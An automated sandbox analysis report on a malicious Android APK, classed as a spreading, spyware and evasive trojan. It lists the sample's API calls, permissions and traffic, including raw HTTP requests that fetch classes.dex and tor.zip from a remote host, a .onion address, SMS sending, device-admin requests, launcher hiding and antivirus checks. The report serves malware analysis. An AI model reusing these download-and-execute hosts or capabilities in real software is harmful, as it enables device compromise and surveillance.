Analysis Report AS4FMH9hKE

Overview

General Information

Joe Sandbox Version:	25.0.0 Tiger's Eye
Analysis ID:	835017
Start date:	10.04.2019
Start time:	13:12:50
Joe Sandbox Product:	Cloud
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	AS4FMH9hKE
Cookbook file name:	defaultandroidfilecookbook.jbs
Analysis system description:	Android 7.1 Nougat
APK Instrumentation enabled:	true
Detection:	MAL
Classification:	mal88.spre.troj.spyw.evad.and@0/253@1/0
Warnings:	Show All No interacted views Not all executed log events are in report (maximum 10 identical API calls) Not all non-executed APIs are in report Report size exceeded maximum capacity and may have missing disassembly code. Report size exceeded maximum capacity and may have missing dynamic data code.

Detection

Strategy	Score	Range	Reporting	Whitelisted	Detection
Threshold	88	0 - 100	Report FP / FN	false

Confidence

Strategy	Score	Range	Further Analysis Required?	Confidence
Threshold	5	0 - 5	false

Classification

Mitre Att&ck Matrix

Signature Overview

Click to jump to signature section

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: AS4FMH9hKE

virustotal: Detection: 15%

Perma Link

Privilege Escalation:

Checks if the device administrator is active

Show sources

Source: ru.delivery.collapse.g;->e:57

API Call: android.app.admin.DevicePolicyManager.isAdminActive

Tries to add a new device administrator

Show sources

Source: Lru/delivery/collapse/a;->a([B)Ljava/lang/String;

Method string: "android.app.action.ADD_DEVICE_ADMIN"

Spreading:

May send Whatsapp messages (likely to spread)

Show sources

Source: Lru/delivery/collapse/a;->a([B)Ljava/lang/String;

Method string: "com.whatsapp:id/send"

Networking:

Found Tor addresses

Show sources

Source: Lx/x/x/a/a;-><init>(Landroid/content/Context;Landroid/content/Intent;)V

Method string: "http://un6kqz7yotjtuqwi.onion"

Checks an internet connection is available

Show sources

Source: com.a.a.a.a.b$a$1;->run:11	API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.a.a.a.a.b$a$1;->run:12	API Call: android.net.NetworkInfo.isConnected

Connects to IPs without corresponding DNS lookups

Show sources

Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.168.68
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.168.68
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.168.68
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.168.68
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.168.68
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.168.68
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.168.68
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.168.68
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.168.68
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.168.68
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.168.68
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.168.68
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.168.68
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.168.68
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.168.68
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.168.68
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.168.68
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.168.68
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.168.68
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.168.68
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.127.188

Opens an internet connection

Show sources

Source: ru.delivery.collapse.h;->a:11	API Call: java.net.URL.openConnection("http://cdn1e699bdc.com/classes.dex")
Source: ru.delivery.collapse.h;->a:11	API Call: java.net.URL.openConnection("http://cdn1e699bdc.com/tor.zip")
Source: a.a.a.a.e.b.c;->a:7	API Call: java.net.Socket.connect (not executed)
Source: a.a.a.a.e.c.f;->a:107	API Call: java.net.Socket.connect (not executed)
Source: x.x.x.e$b;->a:12	API Call: java.net.Socket.connect (not executed)

Performs DNS lookups (Java API)

Show sources

Source: a.a.a.a.i.c.q;->a:3	API Call: java.net.InetAddress.getAllByName (not executed)
Source: a.a.a.a.e.c.d;->a:5	API Call: java.net.InetAddress.getByName (not executed)

Downloads compressed data via HTTP

Show sources

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.10.3Date: Wed, 10 Apr 2019 11:13:36 GMTContent-Type: application/zipContent-Length: 2305692Last-Modified: Sun, 17 Mar 2019 03:40:15 GMTConnection: keep-aliveETag: "5c8dc19f-232e9c"Accept-Ranges: bytesData Raw: 50 4b 03 04 14 00 00 00 08 00 6c aa f5 4c 81 20 fa 00 10 2e 23 00 dc f4 67 00 03 00 00 00 74 6f 72 6c dd 0f 5c cd d7 ff 07 f0 8f ad e9 56 b7 dc 72 e3 a6 70 ab 5b 6b 5b 88 6e fa 77 4b 94 2d 84 4c a6 59 9b 10 da 64 6b 84 d0 c8 96 69 d6 68 64 b2 b5 69 13 cb 16 42 26 34 62 b1 46 b3 d0 ac 4d 08 cd 37 93 ad 6d 21 b4 f9 bd ce f6 d9 fb 7d f4 f8 fd 1e 8f 7e f6 fc 9e cf 3d 9f 7f e7 73 fe 7d ce 39 9f a5 c3 63 9e ec d2 a5 8b f2 df ff 3d ac f8 28 42 a6 87 ad 15 33 fe 2d 6a 9d 29 fe e7 47 cc 8a 51 d1 20 cc 55 31 28 5d f1 3f 98 a5 3f a5 cb bf 7f 56 ca bf 7f 0f 8b ff bd 0b ff 75 57 fe fd b3 e2 4d 1f f8 bf bc 05 f1 ff fc 3d 22 a0 fb 37 bc 38 3d 5e 29 ce fe f7 2f 39 ed 21 25 f9 c7 87 94 ae 6a f8 43 f8 27 7d de b3 4a fa f2 7f ff 34 5d 94 7f fe ba aa fb 18 f7 73 5a 92 f2 ff f
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.10.3Date: Wed, 10 Apr 2019 11:13:36 GMTContent-Type: application/zipContent-Length: 2305692Last-Modified: Sun, 17 Mar 2019 03:40:15 GMTConnection: keep-aliveETag: "5c8dc19f-232e9c"Accept-Ranges: bytesData Raw: 50 4b 03 04 14 00 00 00 08 00 6c aa f5 4c 81 20 fa 00 10 2e 23 00 dc f4 67 00 03 00 00 00 74 6f 72 6c dd 0f 5c cd d7 ff 07 f0 8f ad e9 56 b7 dc 72 e3 a6 70 ab 5b 6b 5b 88 6e fa 77 4b 94 2d 84 4c a6 59 9b 10 da 64 6b 84 d0 c8 96 69 d6 68 64 b2 b5 69 13 cb 16 42 26 34 62 b1 46 b3 d0 ac 4d 08 cd 37 93 ad 6d 21 b4 f9 bd ce f6 d9 fb 7d f4 f8 fd 1e 8f 7e f6 fc 9e cf 3d 9f 7f e7 73 fe 7d ce 39 9f a5 c3 63 9e ec d2 a5 8b f2 df ff 3d ac f8 28 42 a6 87 ad 15 33 fe 2d 6a 9d 29 fe e7 47 cc 8a 51 d1 20 cc 55 31 28 5d f1 3f 98 a5 3f a5 cb bf 7f 56 ca bf 7f 0f 8b ff bd 0b ff 75 57 fe fd b3 e2 4d 1f f8 bf bc 05 f1 ff fc 3d 22 a0 fb 37 bc 38 3d 5e 29 ce fe f7 2f 39 ed 21 25 f9 c7 87 94 ae 6a f8 43 f8 27 7d de b3 4a fa f2 7f ff 34 5d 94 7f fe ba aa fb 18 f7 73 5a 92 f2 ff f

Downloads files from webservers via HTTP

Show sources

Source: global traffic	HTTP traffic detected: GET /classes.dex HTTP/1.1User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)Host: cdn1e699bdc.comConnection: Keep-AliveAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /classes.dex HTTP/1.1User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)Host: cdn1e699bdc.comConnection: Keep-AliveAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /tor.zip HTTP/1.1User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)Host: cdn1e699bdc.comConnection: Keep-AliveAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /tor.zip HTTP/1.1User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)Host: cdn1e699bdc.comConnection: Keep-AliveAccept-Encoding: gzip

Performs DNS lookups

Show sources

Source: unknown

DNS traffic detected: queries for: cdn1e699bdc.com

Urls found in memory or binary data

Show sources

Source: android	String found in binary or memory: http://cdn1e699bdc.com/
Source: android	String found in binary or memory: http://cdn1e699bdc.com/classes.dex
Source: android	String found in binary or memory: http://cdn1e699bdc.com/tor.zip
Source: ojppuqmhxc.xml	String found in binary or memory: http://schemas.android.com/apk/res/android
Source: classes.dex.dr	String found in binary or memory: http://un6kqz7yotjtuqwi.onion
Source: classes.dex.dr, android	String found in binary or memory: http://www.slf4j.org/codes.html#StaticLoggerBinder
Source: classes.dex.dr, android	String found in binary or memory: http://www.slf4j.org/codes.html#loggerNameMismatch
Source: classes.dex.dr, android	String found in binary or memory: http://www.slf4j.org/codes.html#multiple_bindings
Source: classes.dex.dr, android	String found in binary or memory: http://www.slf4j.org/codes.html#substituteLogger
Source: classes.dex.dr	String found in binary or memory: http://www.slf4j.org/codes.html#substituteLoggerKSee
Source: classes.dex.dr, android	String found in binary or memory: http://www.slf4j.org/codes.html#unsuccessfulInit
Source: classes.dex.dr, android	String found in binary or memory: http://www.slf4j.org/codes.html#version_mismatch
Source: classes.dex.dr	String found in binary or memory: https://plus.google.com/

Uses HTTP for connecting to the internet

Show sources

Source: ru.delivery.collapse.h;->a:12

API Call: com.android.okhttp.internal.huc.HttpURLConnectionImpl.connect

Uses HTTPS

Show sources

Source: unknown	Network traffic detected: HTTP traffic on port 51166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51156
Source: unknown	Network traffic detected: HTTP traffic on port 51156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51170

Spam, unwanted Advertisements and Ransom Demands:

Blocks or controls phone keys

Show sources

Source: ru.delivery.collapse.StrollCharacteristic;->c:38	API Call: android.app.KeyguardManager.newKeyguardLock
Source: x.x.x.b.a;-><init>:9	API Call: android.app.KeyguardManager.newKeyguardLock

Dials phone numbers

Show sources

Source: x.x.x.c.b;->a:30

API Call: android.content.Context.startActivity

Has permission to perform phone calls in the background

Show sources

Source: submitted apk

Request permission: android.permission.CALL_PHONE

Has permission to send SMS in the background

Show sources

Source: submitted apk

Request permission: android.permission.SEND_SMS

Has permission to write to the SMS storage

Show sources

Source: submitted apk

Request permission: android.permission.WRITE_SMS

May block phone calls / Accesses private ITelephony interface

Show sources

Source: x.x.x.a.c;-><init>:6

API Call: java.lang.Class.getDeclaredMethod("getITelephony")

Sends SMS using SmsManager

Show sources

Source: x.x.x.b;->a:67

API Call: android.telephony.SmsManager.sendTextMessage

Operating System Destruction:

Deletes other packages

Show sources

Source: x.x.x.d.b;->onReceive:23

API Call: android.content.Context.startActivity

Lists and deletes files in the same context

Show sources

Source: com.a.a.b.c;->d:274	API Calls in same method context: File.listFiles,File.delete
Source: com.a.a.b.a;->c:53	API Calls in same method context: File.listFiles,File.delete

Change of System Appearance:

May access the Android keyguard (lock screen)

Show sources

Source: AndroidManifest.xml	String found in binary or memory: android.permission.CALL_PHONE#android.permission.DISABLE_KEYGUARD
Source: classes.dex	String found in binary or memory: 5Landroid/app/KeyguardManager$KeyguardDismissCallback;
Source: classes.dex	String found in binary or memory: *Landroid/app/KeyguardManager$KeyguardLock;
Source: classes.dex	String found in binary or memory: Landroid/app/Application;5Landroid/app/KeyguardManager$KeyguardDismissCallback;*Landroid/app/KeyguardManager$KeyguardLock;
Source: classes.dex	String found in binary or memory: Landroid/app/KeyguardManager;
Source: classes.dex	String found in binary or memory: Landroid/app/KeyguardManager;"Landroid/app/Notification$Builder;
Source: classes.dex	String found in binary or memory: disableKeyguard
Source: classes.dex	String found in binary or memory: isKeyguardLocked
Source: classes.dex	String found in binary or memory: keyguard
Source: classes.dex	String found in binary or memory: newKeyguardLock
Source: classes.dex	String found in binary or memory: requestDismissKeyguard
Source: classes.dex.dr	String found in binary or memory: Landroid/app/FragmentManager;!Landroid/app/FragmentTransaction;5Landroid/app/KeyguardManager$KeyguardDismissCallback;*Landroid/app/KeyguardManager$KeyguardLock;
Source: classes.dex.dr	String found in binary or memory: Landroid/app/KeyguardManager;)Landroid/app/Notification$Action$Builder;!Landroid/app/Notification$Action;'Landroid/app/Notification$BigTextStyle;"Landroid/app/Notification$Builder;

Acquires a wake lock

Show sources

Source: ru.delivery.collapse.StrollCharacteristic;->c:44	API Call: android.os.PowerManager$WakeLock.acquire
Source: x.x.x.a.d;-><init>:47	API Call: android.os.PowerManager$WakeLock.acquire
Source: x.x.x.b.a;-><init>:16	API Call: android.os.PowerManager$WakeLock.acquire

System Summary:

Requests to ignore battery optimizations

Show sources

Source: Lru/delivery/collapse/a;->a([B)Ljava/lang/String;

Method string: "android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"

Executes native commands

Show sources

Source: com.a.a.b.c;->a:178

API Call: java.lang.ProcessBuilder.start

Requests potentially dangerous permissions

Show sources

Source: submitted apk	Request permission: android.permission.CALL_PHONE
Source: submitted apk	Request permission: android.permission.INTERNET
Source: submitted apk	Request permission: android.permission.READ_CONTACTS
Source: submitted apk	Request permission: android.permission.READ_PHONE_STATE
Source: submitted apk	Request permission: android.permission.RECEIVE_SMS
Source: submitted apk	Request permission: android.permission.SEND_SMS
Source: submitted apk	Request permission: android.permission.WAKE_LOCK
Source: submitted apk	Request permission: android.permission.WRITE_SMS

Classification label

Show sources

Source: classification engine

Classification label: mal88.spre.troj.spyw.evad.and@0/253@1/0

Reads shares settings

Show sources

Source: ru.delivery.collapse.b;-><init>:9	API Call: android.content.SharedPreferences.getBoolean
Source: com.google.android.gms.auth.api.signin.a.a;->b:34	API Call: android.content.SharedPreferences.getString

Data Obfuscation:

Found very long method strings

Show sources

Source: Ly/s/h/Zggcssyr;-><init>()V	Method string: 333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 Length: 10138
Source: Ly/s/h/Zggcssyr;-><init>()V	Method string: 533333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 Length: 10178
Source: Ly/s/h/Zggcssyr;-><init>()V	Method string: 113333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 Length: 10031
Source: Ly/s/h/Zggcssyr;-><init>()V	Method string: 123333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 Length: 10150
Source: Ly/s/h/Zggcssyr;-><init>()V	Method string: 133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 Length: 10202
Source: Ly/s/h/Zggcssyr;-><init>()V	Method string: 153333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 Length: 10081
Source: Ly/s/h/Zggcssyr;-><init>()V	Method string: 163333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 Length: 10164
Source: Ly/s/h/Zggcssyr;-><init>()V	Method string: 173333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 Length: 10173
Source: Ly/s/h/Zggcssyr;-><init>()V	Method string: 183333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 Length: 10009
Source: Ly/s/h/Zggcssyr;-><init>()V	Method string: 203333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 Length: 10105
Source: Ly/s/h/Zggcssyr;-><init>()V	Method string: 213333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 Length: 10057
Source: Ly/s/h/Zggcssyr;-><init>()V	Method string: 233333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 Length: 10057
Source: Ly/s/h/Zggcssyr;-><init>()V	Method string: 263333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 Length: 10170
Source: Ly/s/h/Zggcssyr;-><init>()V	Method string: 323333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 Length: 10237
Source: Ly/s/h/Zggcssyr;-><init>()V	Method string: 333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 Length: 10210
Source: Ly/s/h/Zggcssyr;-><init>()V	Method string: 343333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 Length: 10081
Source: Ly/s/h/Zggcssyr;-><init>()V	Method string: 373333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 Length: 10002
Source: Ly/s/h/Zggcssyr;-><init>()V	Method string: 383333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 Length: 10085
Source: Ly/s/h/Zggcssyr;-><init>()V	Method string: 393333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 Length: 10006
Source: Ly/s/h/Zggcssyr;-><init>()V	Method string: 403333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 Length: 10080
Source: Ly/s/h/Zggcssyr;-><init>()V	Method string: 413333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 Length: 10019
Source: Ly/s/h/Zggcssyr;-><init>()V	Method string: 423333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 Length: 10002
Source: Ly/s/h/Zggcssyr;-><init>()V	Method string: 453333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 Length: 10011
Source: Ly/s/h/Zggcssyr;-><init>()V	Method string: 483333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 Length: 10134
Source: Ly/s/h/Zggcssyr;-><init>()V	Method string: 493333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 Length: 10222

Obfuscates method names

Show sources

Source: AS4FMH9hKE

Total valid method names: 17%

Uses reflection

Show sources

Source: ru.delivery.collapse.h$1;->run:12	API Call: Real call: x.x.x.TorController@bcd9864
Source: ru.delivery.collapse.h$1;->run:12	API Call: Real call: public void x.x.x.TorController.execute(android.content.Context,android.content.Intent)
Source: ru.delivery.collapse.h$1;->run:12	API Call: Real call: x.x.x.TorController@bcd9864
Source: x.x.x.a.c;-><init>:8	API Call: java.lang.reflect.Method.invoke
Source: com.google.android.gms.b.b;->a:9	API Call: java.lang.reflect.Field.get
Source: a.a.a.a.e.c.f;->a:143	API Call: java.lang.reflect.Method.invoke
Source: a.a.a.a.b.e.a;->a:4	API Call: java.lang.reflect.Method.invoke
Source: x.x.x.b;->a:64	API Call: java.lang.reflect.Method.invoke

Persistence and Installation Behavior:

Creates files

Show sources

Source: com.a.a.b.c;->i:50	API Call: java.io.FileWriter.<init>
Source: com.a.a.b.c;->i:75	API Call: java.io.FileWriter.<init>
Source: com.a.a.b.c;->i:75	API Call: java.io.FileWriter.<init>
Source: com.a.a.b.c;->i:75	API Call: java.io.FileWriter.<init>
Source: com.a.a.b.c;->i:75	API Call: java.io.FileWriter.<init>
Source: com.a.a.b.c;->i:75	API Call: java.io.FileWriter.<init>
Source: com.a.a.b.c;->i:75	API Call: java.io.FileWriter.<init>
Source: com.a.a.b.c;->i:75	API Call: java.io.FileWriter.<init>

Boot Survival:

Has permission to execute code after phone reboot

Show sources

Source: submitted apk

Request permission: android.permission.RECEIVE_BOOT_COMPLETED

Installs a new wake lock (to get activate on phone screen on)

Show sources

Source: ru.delivery.collapse.StrollCharacteristic;->c:43	API Call: android.os.PowerManager.newWakeLock
Source: x.x.x.a.d;-><init>:46	API Call: android.os.PowerManager.newWakeLock
Source: x.x.x.b.a;-><init>:15	API Call: android.os.PowerManager.newWakeLock

Hooking and other Techniques for Hiding and Protection:

Removes its application launcher (likely to stay hidden)

Show sources

Source: x.x.x.a.a;-><init>:55

API Call: android.content.pm.PackageManager.setComponentEnabledSetting

Uses Crypto APIs

Show sources

Source: a.a.a.a.i.a.d;->b:6	API Call: java.security.MessageDigest.getInstance
Source: a.a.a.a.i.a.d;->c:73	API Call: java.security.MessageDigest.digest
Source: a.a.a.a.i.a.d;->c:92	API Call: java.security.MessageDigest.digest
Source: a.a.a.a.i.a.d;->c:126	API Call: java.security.MessageDigest.digest
Source: a.a.a.a.i.a.d;->c:152	API Call: java.security.MessageDigest.digest
Source: a.a.a.a.i.a.g;->close:5	API Call: java.security.MessageDigest.digest
Source: a.a.a.a.i.a.g;->write:8	API Call: java.security.MessageDigest.update
Source: a.a.a.a.i.a.g;->write:12	API Call: java.security.MessageDigest.update
Source: a.a.a.a.i.a.j$a;->l:110	API Call: javax.crypto.Cipher.getInstance
Source: a.a.a.a.i.a.j$a;->l:111	API Call: javax.crypto.Cipher.init
Source: a.a.a.a.i.a.j$a;->l:112	API Call: javax.crypto.Cipher.doFinal
Source: a.a.a.a.i.a.j$a;->l:114	API Call: javax.crypto.Cipher.getInstance
Source: a.a.a.a.i.a.j$a;->l:115	API Call: javax.crypto.Cipher.init
Source: a.a.a.a.i.a.j$a;->l:116	API Call: javax.crypto.Cipher.doFinal
Source: a.a.a.a.i.a.j$b;-><init>:3	API Call: java.security.MessageDigest.getInstance
Source: a.a.a.a.i.a.j$b;-><init>:5	API Call: java.security.MessageDigest.update
Source: a.a.a.a.i.a.j$b;-><init>:7	API Call: java.security.MessageDigest.digest
Source: a.a.a.a.i.a.j$b;-><init>:16	API Call: java.security.MessageDigest.update
Source: a.a.a.a.i.a.j$b;->a:24	API Call: java.security.MessageDigest.update
Source: a.a.a.a.i.a.j$b;->a:26	API Call: java.security.MessageDigest.digest
Source: a.a.a.a.i.a.j$b;->a:29	API Call: java.security.MessageDigest.update
Source: a.a.a.a.i.a.j$b;->a:31	API Call: java.security.MessageDigest.digest
Source: a.a.a.a.i.a.j;->a:35	API Call: java.security.MessageDigest.getInstance
Source: a.a.a.a.i.a.j;->a:36	API Call: java.security.MessageDigest.update
Source: a.a.a.a.i.a.j;->a:37	API Call: java.security.MessageDigest.update
Source: a.a.a.a.i.a.j;->a:38	API Call: java.security.MessageDigest.digest
Source: a.a.a.a.i.a.j;->b:66	API Call: javax.crypto.Cipher.getInstance
Source: a.a.a.a.i.a.j;->b:69	API Call: javax.crypto.Cipher.init
Source: a.a.a.a.i.a.j;->b:70	API Call: javax.crypto.Cipher.doFinal
Source: a.a.a.a.i.a.j;->d:104	API Call: javax.crypto.Cipher.getInstance
Source: a.a.a.a.i.a.j;->d:105	API Call: javax.crypto.Cipher.init
Source: a.a.a.a.i.a.j;->d:106	API Call: javax.crypto.Cipher.doFinal
Source: a.a.a.a.i.a.j;->d:107	API Call: javax.crypto.Cipher.init
Source: a.a.a.a.i.a.j;->d:108	API Call: javax.crypto.Cipher.doFinal
Source: a.a.a.a.i.a.j;->d:109	API Call: javax.crypto.Cipher.init
Source: a.a.a.a.i.a.j;->d:110	API Call: javax.crypto.Cipher.doFinal
Source: a.a.a.a.i.a.j;->f:137	API Call: javax.crypto.Cipher.getInstance
Source: a.a.a.a.i.a.j;->f:138	API Call: javax.crypto.Cipher.init
Source: a.a.a.a.i.a.j;->f:139	API Call: javax.crypto.Cipher.doFinal
Source: a.a.a.a.i.a.j;->f:140	API Call: javax.crypto.Cipher.init
Source: a.a.a.a.i.a.j;->f:141	API Call: javax.crypto.Cipher.doFinal

Malware Analysis System Evasion:

Accesses android OS build fields

Show sources

Source: x.x.x.a.d;-><init>:14	Field Access: android.os.Build.BRAND
Source: x.x.x.a.d;-><init>:18	Field Access: android.os.Build.MODEL

Queries several sensitive phone informations

Show sources

Source: Lx/x/x/a/d;-><init>(Landroid/content/Context;Landroid/content/Intent;)V	Method string: "android"
Source: Lx/x/x/f;->a()V	Method string: "type"
Source: La/a/a/a/i/d/y;->a()Ljava/lang/String;	Method string: "version"
Source: Lx/x/x/a/c;-><init>(Landroid/content/Context;)V	Method string: "phone"
Source: Lx/x/x/a/d;-><init>(Landroid/content/Context;Landroid/content/Intent;)V	Method string: "model"
Source: Lx/x/x/f;->a()V	Method string: "time"

Queries the unique operating system id (ANDROID_ID)

Show sources

Source: x.x.x.f;->a:6

API Call: android.provider.Settings.Secure.getString

Anti Debugging:

Creates a new dex file (likely to load a new code)

Show sources

Source: ru.delivery.collapse.h;->a:35	API Call: java.io.File.<init> /data/user/0/ru.delivery.collapse/app_dex/classes.dex
Source: ru.delivery.collapse.h;->b:50	API Call: java.io.File.<init> /data/user/0/ru.delivery.collapse/app_dex/classes.dex

Downloads files from webservers via HTTP

Show sources

Source: global traffic	HTTP traffic detected: GET /classes.dex HTTP/1.1User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)Host: cdn1e699bdc.comConnection: Keep-AliveAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /classes.dex HTTP/1.1User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)Host: cdn1e699bdc.comConnection: Keep-AliveAccept-Encoding: gzip

Language, Device and Operating System Detection:

Queries the SIM provider name (SPN - Service Provider Name)

Show sources

Source: x.x.x.a.d;->a:66

API Call: android.telephony.TelephonyManager.getSimOperatorName returned ""

Queries the network operator name

Show sources

Source: x.x.x.a.d;->a:69

API Call: android.telephony.TelephonyManager.getNetworkOperatorName returned "Swisscom Ltd"

Lowering of HIPS / PFW / Operating System Security Settings:

May check for install Android security applications (AV and firewalls)

Show sources

Source: Lx/x/x/d/b;-><clinit>()V	Method string: "com.kms.free"
Source: Lx/x/x/d/b;-><clinit>()V	Method string: "com.eset.ems2.gp"
